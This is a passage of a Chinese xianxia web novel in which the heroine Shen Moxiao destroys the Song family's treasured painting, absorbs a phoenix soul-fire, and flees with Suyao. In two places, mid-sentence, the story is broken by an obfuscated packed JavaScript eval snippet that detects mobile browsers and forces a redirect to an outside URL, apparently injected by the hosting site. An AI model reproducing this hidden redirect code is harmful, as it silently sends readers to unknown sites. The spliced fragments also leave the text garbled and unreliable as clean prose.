晴空明月图的异变,让四个小徒吓得脸色发白,再不敢争吵。这幅图宋家可是宝贝的紧,带路的那名宋家子弟还特意嘱咐,告诫他们只可远观,如今这图变成了这样,如何向宋家,向师父交代? 对于外界一切,沈莫笑浑然不知,她沉浸在巨大不甘之中。自穿越以来,她步步为营,忍受仙门打压,入太行,进天魔,九死一生筑基,十年沉寂,她忍受生不如死的痛苦咬牙挺过。 一路走来,她比任何人都要刻苦,比任何人都要努力,可四个小孩子都能领悟玄机的一幅图,她却看不出半点猫腻。 难道她沈莫笑,注定庸庸碌碌,连几个资质平平的小孩子都比不过? 两世为人,历尽千难万险,多少次生死一线她都走过来,缘何会败给一张图上? 夙瑶如此帮她,不惜以终身大事为赌注,为她换来的一次机缘,她若毫无所得,有何颜面给夙瑶交代? 心中执念起,沈莫笑十年没有出现的戾气,就这样翻涌而出,比先前更浓郁了几倍。 无法控制的暴虐情绪,在心中反复发酵,沈莫笑陷入执迷,双眼血红一片,爆喝一声,戾气四散涌动,若涟漪般横扫而去。 整个密室中的摆设,都被那戾气震碎,四个小徒连忙用灵气护住自身,才没有受伤。暴虐的戾气持续了整整一刻钟,沈莫笑再次呕出一口鲜血,神智已恢复了几分。 周身萦绕的戾气,被她生生用意志压迫回身体,她揉了揉昏沉的脑袋,抬眼看向周围,顿时瞳孔一缩,不可置信的瞪大了眼。 晴空明月图不见了,只剩下满地散落的大小碎片。沈莫笑倒吸一口冷气,脑中嗡鸣作响。 这宋家奉为至宝的水墨画,竟然就这样毁了,那出去之后,夙瑶必定会受到宋家问责,他们几人也脱不开干系。 如何是好? 饶是沈莫笑,仓促间,也完全想不到怎么办,只能捡起满地碎片,试图将整张图拼起来。 但那些碎片,全部变成了红白之色,已非她看了三日的晴空明月图。她捡起数以千计的碎片,摆在地上,不停的拼凑,仍是不得其法,完全没有头绪。 沈莫笑脸上惨白一片,她不怕宋家问责,只是担心连累夙瑶,让她失望。 “难道这图就真的这么破,可以被轻松撕成碎片,一旦毁了就再也不能还原?” 沈莫笑绝不相信一个可以让修士产生领悟的宝图,会这么轻易被毁。她努力平定心神,仔细看手中的碎片,用手一捏,那看着脆弱不堪的碎片却没有因此破损。 沈莫笑又动用灵气破坏,碎片依旧没有破损。反复尝试几次,她一挥手,灵气卷动所有碎片,在半空静静漂浮。 沈莫笑闭上眼睛,神识扫过每一个碎片,脑海里立刻勾画出一幅血色晕染的图案。三日观摩,她记下了晴空明月图所有的细节,其上每一个碎片的气息,每一处的位置,都刻印在记忆中。 刚刚心神失守,惊慌错乱,才一时没有察觉。原本毫无灵韵的宝图,化成碎片后,反而透出零星的灵气波动。 沈莫笑沉下心神,细细感知每一个碎片上的灵气走向,将相连的两片拼凑起来。 四个小徒看到她如此作为,也不敢吵嚷,战战兢兢站在原地观看,一颗心提到了嗓子眼。那上千个碎片,不断游走拼接,由点及面,慢慢拼凑成一副完全不一样的画。 血色天穹,圆月当空,一只浑身伤痕累累的凤凰立在一方大阵中,似有无穷不甘,对月嘶鸣。 当最后一个碎片被拼上,整幅图血光大盛,画中那静止不动的凤凰,仿佛活了过来,展翅而起。它一次次用破败不堪的身体冲击大阵,双目赤红,一身是血,光是看着便能感受到一股扑面而来的暴虐。 几人尚未反应发生了什么,那凤凰便以迅雷不及掩耳之势冲破大阵束缚,一飞冲天,火光燃尽苍穹,整幅图瞬间烧成灰烬! 灰烬中,与图上一模一样,更显生动的凤凰虚体,嘶鸣而出,展翅间,荡出一圈圈难以形容的威压,四个小徒只是看上一眼,便齐齐倒在地上,昏迷不醒。 沈莫笑首当其中,顿觉脑袋撕裂般难受,双眼只能看见一片血红,随即陷入绝对的黑暗中。 但只是片刻,烈火焚身的痛楚,又生生将她从昏迷中拉了出来。 沈莫笑在大漠待了十年,炼化罗刹火蛇魂火,肉身经过仙气淬炼,无论是火焰的耐受度,还是肉身强度,都强于普通修士不知多少倍。但那火焰却可轻易让她痛不欲生。 从内而外,从灵魂到皮肉筋骨,无一处不痛。眼看就要被这股火焰焚烧干净,沈莫笑心脏处迸发勃勃生机,一股无法形容的力量,直接将那股暴虐的灼烧之感压下大半! 帝君泽在天魔地宫中给她留下的一个机缘,关键时刻,救了她一命! 凤凰虚体似乎极为不甘,竟直冲而去,将要钻进沈莫笑灵台。可这看似柔弱不堪的小修士,灵台中竟有一股难以抗衡的力量,阻碍了它的前行。 凤凰虚体周身火焰暴涨,不顾一切冲击灵台,不死不休。沈莫笑承受着灵台几欲破裂的痛苦,身体每一处都涌出血水,当那痛苦到达极致,她反而产生了几分清明,星图闪亮,五颗圆润星辰快速旋转。 火焰中暴虐却浓郁至纯的灵力,被她疯狂吸纳,不顾一切的冲击境界。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|11091541|117624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微不足道的练气修为,在那浩荡火焰力量面前,渺小如尘埃,但沈莫笑别无选择,她要抓住每一个存活下来的可能,为自己搏命! 第六窍穴亮起,汇聚成五彩星辰,第七窍穴,第八窍穴…… 直到第十三窍穴冲破桎梏,形成明亮星辰,她冲击境界的速度骤然慢了下来! 仙道修行,每一层次都难于登天,练气一层不知不觉突破,到了第二层,便难以为继,跟不上身体被火焰摧残的速度。 此时,残月留下的封印,被暴虐的凤凰虚体冲开一条缝,钻入无穷火焰,焚烧其中! 静静漂浮在灵台半空的残月元神,被火焰包裹焚烧,眼看就要魂飞魄散。突然,沈莫笑小指上消失了十年的情丝印记,骤然出现,一丝丝天道之力,从情丝一路延伸到灵台。 丝丝紫光在火焰中蓦然亮起,浴火残存的元神小球中,小小紫狐幽幽睁开了眼睛。 一股无法形容的媚意与冷凛,从那双微微眯起的狐眼中静静流淌而出,如梦似幻。看似强大的火焰,霎时间被压制。 凤凰虚体悚然大惊,放弃夺舍心思,立刻就要远遁。残月元神张开嘴,一股强大吸力将它魂魄生生撕碎,顺着狐口,吞入残月腹中,只剩一小撮火焰。 情丝隐去,灵台封印闭合,刚刚苏醒的狐帝重新陷入沉睡。 那火焰似有灵性,依旧挣扎着想要逃离,却又有一股无形之力将她桎梏。 天道之力的威压太强,凤凰虚体冲破晴空明月图的封印之时,耗费太多力量,此刻受创严重,脆弱不堪,似根本无力摆脱束缚。 本是必死的局面,因着那凤凰虚体过于贪婪,想要掠夺沈莫笑的肉身重生,是以没有下杀手,最后反被残月元神夺去魂力,沦为阶下囚。 沈莫笑抬起血淋淋的手,包裹着火焰的灵气团,被她直接塞进口中! “你欲夺舍重生,我便借你元神突破修为,我沈莫笑的命,岂是你一个区区残魂能够取走!” 此刻沈莫笑便是再迟钝,也明白过来。宋家这幅晴空明月图,能够让修士领悟术法,提升修为,定是藏有一丝天道灵韵。这灵韵的来源,便是这封印在此的凤凰虚体。 修行就是与天争,与人争,与命争。凤凰乃神兽图鉴中记载的神兽之一,有通天彻地的威能,眼前这凤凰虚体虽只是被囚困了不知多少年的一道残魂,失去大半灵性,依旧实力非凡,若是能够将其炼化,必定有莫大好处。 沈莫笑等了太久,这天大的机缘,她不想白白浪费。 仗着自己有帝君泽留下的魔种,可以再次帮她抵挡一次致命攻击,沈莫笑胆色比天大,凛然不惧这火焰反扑,反打起了炼化的主意。 如她所料,看似已毫无还手之力的脆弱火焰,竟仍有困兽之力。当沈莫笑将其吞进身体,便展现出狰狞凶相。烈焰再度燃起,灼烧灵魂的痛楚瞬间席卷而来。 沈莫笑拼命维持神智,运转仙道功法,疯狂修行。 十三颗星辰闪烁豪光,精纯的仙道气息在小小密室中荡开,沈莫笑不动如钟,炼化体内火焰,时间飞逝流去。 32. 第 32 章 宋家一处清雅的小院中,宋明空夫妇与夙瑶正在品茶。三人说说笑笑,算是把之前的不愉快揭过。 毕竟是多年好友,感情笃厚,彼此也没有深仇大恨,小打小闹反而促进感情。 夙瑶自知理亏,少有的嘴上积德,略作夸赞。宋明空很快便飘飘然起来。 “只要有晴空明月图在,我宋家便始终是炎国十大修仙世家之一,气度还是有的,自然不会与一个十几岁的小丫头计较。你素来清高,如今竟能为了小道侣豁下脸皮诈我赌斗,可谓用心良苦。不过我那宝图玄机深奥,不同的人,每一次观摩,都有不同感悟。我宋家子弟凡有贡献突出者,都有机会一睹宝图,但能有所感悟的,这百余年来也不过一手之数。纵然你那小道侣有些心机头脑,也断不可能区区三日领悟到宝图真谛。若你开口,我还可宽限你几日。” 夙瑶深知这人什么德行,也不在言语上与他计较,只淡淡抿了口茶水,微笑不语。 宋夫人白了自家夫君一眼,转头望向夙瑶,眼中满是好奇之色。她已从宋明空那里知道夙瑶道侣的事,不免八卦道:“那日你酒醉大闹明空城,我便看那少女颇为不凡。那一首诗竟让我有所领悟,瓶颈隐隐松动。你是从哪里寻到的她,她是否师出名门,一身才学可是从你这里得来?” 提到这个,夙瑶便有些气闷。她与宋明空夫妇相交多年,此事也不想隐瞒,如实道:“我刚到炎国,便遇上了她。她那时隐居大漠,只有八岁骨龄,五感缺失大半,又瞎又聋,毫无仙基修为,与沙狼为伍。如今,我也不曾知晓她出身来历。” 能修行到元婴期,都是成了精的,仅仅几句话,宋夫人便能想到很多东西,心头错愕,忍不住道:“你都不知她出身来历,竟还可以为她付出那么多?与沙狼为伍,那群禽兽有什么理智可言,只知杀戮,乃不通伦理的低等妖兽罢了,这少女没有修为,竟可在沙狼堆里不死,倒也是奇人。可你们是要结为道侣的,你难道不好奇她的过往?” “既然我们注定结为道侣,又何必计较一时半刻。我相信,总有一天她会对我坦白一切。” 想起与阿竹相遇的画面,夙瑶就不禁叹息:“我从未见过她这样的人,竟可以驯化沙狼,使之成为博学深思的儒生,让其懂伦理,通人性。一个毫无修为的小孩子,能有如此能耐,光凭这一点,我都要帮她。人若有所求,则事事不从心,若无所求,反而水到渠成。我对阿竹尽心,是发乎本心,她是不是能给我回报,是不是真能与我并肩,我有期待,却也不强求。” 宋夫人肃然起敬。也唯有夙瑶这样洒脱的奇女子,可以做到这般自在随心。这些年与她相处越久,便越敬佩。 世上女子千千万,大多过的凄苦。女修虽也远离红尘,但大多数仍避不开从古至今的偏见,不得不依附强大男修。是以修仙界普遍仍有男尊女卑的倾向,唯有实力高强的女修,才能赢得真正的尊敬。 夙瑶则是个另类。无论她是练气小修士,还是如今名震四国修真界的六道金丹,她的傲气始终不曾减少,更不将那些偏见放在眼中。 她的心胸和气魄,远胜男儿,更有凌云壮志,想要一览仙道之巅。这些年她游离红尘,留下数不尽的传说,侠名远扬,施恩不图报,一个人撑起了浩然门的风评。 想当年浩然罪子杨逸放出妖仙祸乱世间,浩然门遭受口诛笔伐,引各方问责,是夙瑶顶着压力,不断在各方势力中游说周旋,方解浩然危局。 夙瑶数道兼修,修为提升极慢,本应在仙门勤勉修行,却总是行走于红尘之间,不曾在一处久留。这其中固然有她性格的原因,也未尝不是因为当年祸事,想要为浩然门争取一些人心。 宋夫人总有一种感觉,若不是太多凡尘琐事拖累她,夙瑶远远不止如今金丹中期的修为,哪怕她是六道兼修,这样的速度已堪称逆天。 宋夫人正想喟叹几句,便见夙瑶突然脸色苍白,额上浮现豆大汗珠。 “夙瑶,你这是……” 夙瑶心中一声叹息。摆摆手道:“无妨,有些隐疾,不足为患,休息一下便好。” 除了当初为压制地魂求助于杨馨儿,透露了些许地魂之事,此事乃夙瑶最大隐秘,不曾为外人道。 当年若没有始祖墓穴发生的变故,没有那个人从中作梗,她不可能提前融魂,导致如此变数,十年来饱受地魂摧残,还因此错过五百年一次的天魔窟试炼,没能得到六道魔帝的法则之力。 每年临近七月,地魂便借天地阴气出来作乱,那时她必须将自己锁在封印之地,与地魂争夺身体,度生死大关。 地魂每一年的暴动之期都在提前,她本以为还有时间,如今看来,是时候该闭关了。 正此时,大地一阵颤动,隐有凤鸣远远传来。 三人齐齐一怔,望向一处。 宋明空脸色大变,倏地站起身,道:“那是晴空明月图所在的密室。我那密室是特殊打造,可屏蔽气息声音,那凤鸣却仍可传出,难道……” 他话还没说完,身边的两人早已飞掠而起,宋明空也不再废话,连忙跟上。 三人打开密室,便有一股热浪扑面而来。尚未看到里面情形,便有一长发及腰,衣衫凌乱的少女急冲而出,一把抓住夙瑶的手,将她拽走! 宋明空与夫人微一错愕,眼前又有四个少年发力狂奔而去,速度之快,不弱于少女,仿若身后有洪水猛兽,生死一线,只能拼命奔逃。 夙瑶被阿竹带着狂奔,下意识没有阻止。出了密室,她被拉着直接冲出宋家,满脸迷茫的问道:“阿竹,你怎么……” “姐姐,信我一次,快跑!” 沈莫笑丢下一句,身后突然传出一声震天咆哮,声音悲怆欲绝:“我的宝图,我的宝图啊!夙瑶,我跟你没完!” 夙瑶眼皮一跳,心中已猜到这几个惹祸精,恐怕是在密室中对晴空明月图做了什么,这才因无法善后,不得不带她一起逃命。 她与宋明空夫妇关系匪浅,但凡有一丝和解可能,他们都不至于这样紧张,难道…… 夙瑶喉咙干涩,脑中一片眩晕,不敢往下深想。宋明空视那张破图为命根子,若真是那晴空明月图有了闪失,说不得要跟她大战三百回合,做出一些不理智的事来。 她现在因为地魂作乱,战力折损,实在承受不了元婴修士的暴怒。只能先行撤退,日后再来负荆请罪。 想到这里,夙瑶立刻祭出长枪,反客为主,将阿竹五人带上,远遁而去。 待得身后再无追兵,夙瑶立刻将须弥云水天置于安全处,与五人进入其中。 刚刚逃出生天,几人神色萎靡,四个小徒更是瘫坐在地,不断拍着小胸脯,一脸后怕之色。 “究竟发生了什么?” 自从十年前始祖墓穴之事后,夙瑶此生都没这么狼狈过,好不容易压制住即将暴走的地魂,她目光冰冷的扫视五人,徐徐开口。 迎着夙瑶杀人目光,四名小徒同时后退一步,将某人孤零零显露出来。 沈莫笑嘴角一抽,硬着头皮摊开手掌,道:“姐姐,你看。” 夙瑶定睛一看,阿竹手心漂浮着一小撮绯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|11091542|117624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红火焰,隐有凤鸣从中传出。火焰乍一出现,周围温度都热了三分。 夙瑶阅历广博,眼光何等毒辣,当即瞳孔微缩,道:“凤凰魂火……” 凤凰,乃上古两大神兽之一,自天地初开便存在于世。后因实力过于强大,遭受天妒,与蛟龙一族相继败落,后代繁衍不利,人丁稀薄,血脉淡化。万年前,神魔九道联合攻打神木林地,使妖兽一族损失惨重。蛟龙与凤凰两族死伤无数,消失于历史长河中。 蛟龙一族姑且不论,但凤凰是真正的不死鸟,虽血脉淡化,依旧有天命加持,每当遭遇灭族之灾时,便会诞生凤凰魂火,只要此火不灭,便可保留一丝血脉之力,浴火重生,不至于传承灭绝。 凤凰魂火被阿竹炼化,这代表着,世上最后一只凤凰也陨落了。 这一小簇凤凰魂火十分衰弱稀薄,却依旧蕴含着不可忽视的力量。仅仅是展示几息时间,沈莫笑已经浑身是汗,迫不得已将之收回体内,脸色苍白如纸,大口喘着粗气。 “姐姐,我……” “愚蠢!”夙瑶气的浑身颤抖,一把拽住阿竹衣领,喝道:“你可知这是什么!这是凤凰魂火!凤凰乃上古神兽,不死不灭,是真正的不死鸟,根本不可能被凡人炼化。你竟敢融合它的魂火,你可知只要这魂火不灭,凤凰便会逐渐吸干你的血肉,掠夺你的生机,借机重生!神兽桀骜,天道都不能让它屈折,又岂会是你一个练气小修能够降服?它现在只是蛰伏在你体内,根本没有死去,妄你自作聪明,还以为得到天大的机缘,根本就是在找死!” 沈莫笑一怔,她确实不知道这些事,但夙瑶见到凤凰魂火,第一反应竟不是质问她如何取得此火,不是担心如何向明空城主交代,而是怒不可遏,关心她的安危。 心头有暖流划过,沈莫笑垂下眼眸,不言不语。 夙瑶甩开她的衣领,来回踱步,似在思考。四个小徒从未见过师父这样慌张的样子,一个个面面相觑,此刻便是他们这些心思单纯的小孩子,都看得出来师父对夫子别有不同。 片刻后,夙瑶银牙一咬,道:“你刚刚炼化凤凰魂火,它跟你身体尚未完全融合,还可以将魂火取出。我会为它找到合适肉身,你不过虚弱一段时间不能修行。我可寻来天材地宝温养你的身体,少则十余年,多则三四十年,你应该可以恢复如初。” “若将魂火取出,姐姐是不是也会付出极大代价?”望着夙瑶急切目光,沈莫笑徐徐开口。 夙瑶目光闪烁,没有说话。 沈莫笑见此,心中已有了猜测,淡淡道:“我与凤凰魂火已经相融,取走魂火,无异于分割灵魂。我虽见识不多,却也知道,分魂极为凶险,稍有差池便会魂飞魄散。姐姐有把握将凤凰魂火取出,应是要付出极大代价。姐姐能不能告诉我,你我往日素不相识,你连我是什么人都不知道,为何要对我这么好?” 夙瑶背过身,沉吟良久方道:“你我有缘,即便你不是你,我依旧会帮你。我夙瑶行事向来如此,你倒也不必感激。” 这话说的似是而非,像是回答了,又像是没回答。沈莫笑没能理解其中的深意,却笑出了声:“若此言是别人说的,我断不会信,但姐姐说了,便是真话。” 她上前拉住夙瑶的手,掌心传出的温暖更胜从前,夙瑶心头微颤,却没有挣开。 “我想你已经猜到,我曾是修士,负伤蛰伏大漠多年,断了仙途。得蒙姐姐相救,不惜以天材地宝温养身体,以灵丹妙药护住心脉,又拼着耗损元气,为我治病疗伤。我能有今日,全靠姐姐无私相助。”